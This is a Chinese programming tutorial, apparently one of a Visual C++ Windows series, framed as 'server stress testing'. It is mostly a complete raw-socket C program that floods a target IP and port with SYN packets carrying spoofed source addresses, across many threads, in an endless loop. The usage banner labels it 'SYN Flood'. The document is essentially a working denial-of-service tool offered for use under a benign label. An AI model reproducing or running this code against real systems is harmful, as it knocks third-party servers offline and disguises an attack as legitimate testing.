基于visual c++之windows核心编程代码分析（38）实践服务器压力测试-SYN请求
SYN 请求实现压力监测利用TCP协议缺陷，发送了大量伪造的TCP连接请求，使得被攻击方资源耗尽，无法及时回应或处理正常的服务请求。一个正常的TCP连接需要三次握手，首先客户端发送一个包含SYN标志的数据包，其后服务器返回一个SYN/ACK的应答包，表示客户端的请求被接受，最后客户端再返回一个确认包ACK，这样才完成TCP连接。在服务器端发送应答包后，如果客户端不发出确认，服务器会等待到超时，期间这些半连接状态都保存在一个空间有限的缓存队列中；如果大量的SYN包发到服务器端后没有应答，就会使服务器端的TCP资源迅速耗尽，导致正常的连接不能进入，甚至会导致服务器的崩溃。
我们一般开发网站项目的时候，经常需要测试服务器压力，好进行网络优化，测试服务器压力经常用到SYN监测，下面见代码分析，实现服务器压力测试。
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
#define SEQ 0x28376839
int threadnum,maxthread,port;
char *DestIP;//目标IP
void display(void) // 定义状态提示函数
{
static int play=0;
// 进度条
char *plays[12]=
{
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
};
printf("=%s= %d threads \r", plays[play],threadnum);
play=(play==11)?0:play+1;
}
//定义一个tcphdr结构来存放TCP首部
typedef struct tcphdr
{
USHORT th_sport;//16位源端口号
USHORT th_dport;//16位目的端口号
unsigned int th_seq;//32位序列号
unsigned int th_ack;//32位确认号
unsigned char th_lenres;//4位首部长度+6位保留字中的4位
unsigned char th_flag;////6位标志位
USHORT th_win;//16位窗口大小
USHORT th_sum;//16位效验和
USHORT th_urp;//16位紧急数据偏移量
}TCP_HEADER;
//定义一个iphdr来存放IP首部
typedef struct iphdr//ip首部
{
unsigned char h_verlen;//4位手部长度，和4位IP版本号
unsigned char tos;//8位类型服务
unsigned short total_len;//16位总长度
unsigned short ident;//16位标志
unsigned short frag_and_flags;//3位标志位（如SYN,ACK,等等)
unsigned char ttl;//8位生存时间
unsigned char proto;//8位协议
unsigned short checksum;//ip手部效验和
unsigned int sourceIP;//伪造IP地址
unsigned int destIP;//攻击的ip地址
}IP_HEADER;
//TCP伪首部，用于进行TCP效验和的计算，保证TCP效验的有效性
struct
{
unsigned long saddr;//源地址
unsigned long daddr;//目的地址
char mbz;//置空
char ptcl;//协议类型
unsigned short tcpl;//TCP长度
}PSD_HEADER;
//计算效验和函数，先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size) cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}
DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数
{
SOCKET sock =NULL;
int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
struct sockaddr_in sockAddr;
TCP_HEADER tcpheader;
IP_HEADER ipheader;
char sendBuf[128];
sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if(sock==INVALID_SOCKET)
{
printf("Socket failed: %d\n",WSAGetLastError());
return 0;
}
//设置IP_HDRINCL以便自己填充IP首部
ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt failed: %d\n",WSAGetLastError());
return 0;
}
//设置发送超时
ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt time out failed: %d\n",WSAGetLastError());
return 0;
}
//设置目标地址
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family=AF_INET;
sockAddr.sin_addr.s_addr =inet_addr(DestIP);
FakeIpNet=inet_addr(DestIP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ipheader.ident = 1;
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = IPPROTO_TCP;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
ipheader.destIP = inet_addr(DestIP);
//填充TCP首部
tcpheader.th_dport=htons(port);
tcpheader.th_sport = htons(8080);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_ack = 0;
tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
PSD_HEADER.daddr=ipheader.destIP;
PSD_HEADER.mbz=0;
PSD_HEADER.ptcl=IPPROTO_TCP;
PSD_HEADER.tcpl=htons(sizeof(tcpheader));
for(;;)
{
SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_sport = htons(SendSEQ);
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
memcpy(sendBuf,&ipheader,sizeof(ipheader));
memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
dataSize=sizeof(ipheader)+sizeof(tcpheader);
ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
memcpy(sendBuf,&ipheader,sizeof(ipheader));
sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
display();
}//end for
Sleep(20);
InterlockedExchangeAdd((long *)&threadnum,-1);
return 0;
}
void usage(char *name)
{
printf("\t===================SYN Flood======================\n");
printf("\[email protected] 2004/7/6========\n");
printf("\tusage: %s [dest_IP] [port] [thread]\n",name);
printf("\tExample: %s 192.168.1.1 80 100\n",name);
}
int main(int argc,char* argv[])
{
if(argc!=4)
{
usage(argv[0]);
return 0;
}
usage(argv[1]);
int ErrorCode=0;
DestIP=argv[1];//取得目标主机IP
port=atoi(argv[2]);//取得目标端口号
maxthread=(maxthread>100)?100:atoi(argv[3]);
//如果线程数大于100则把线程数设置为100
WSADATA wsaData;
if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){
printf("WSAStartup failed: %d\n",ErrorCode);
return 0;
}
printf("[start]...........\nPress any key to stop!\n");
while(threadnum<maxthread)//循环创建线程
{
if(CreateThread(NULL,0,SynfloodThread,0,0,0))
{
Sleep(10);
threadnum++;
}
}
WSACleanup();
printf("\n[Stopd]...........\n");
return 0;
}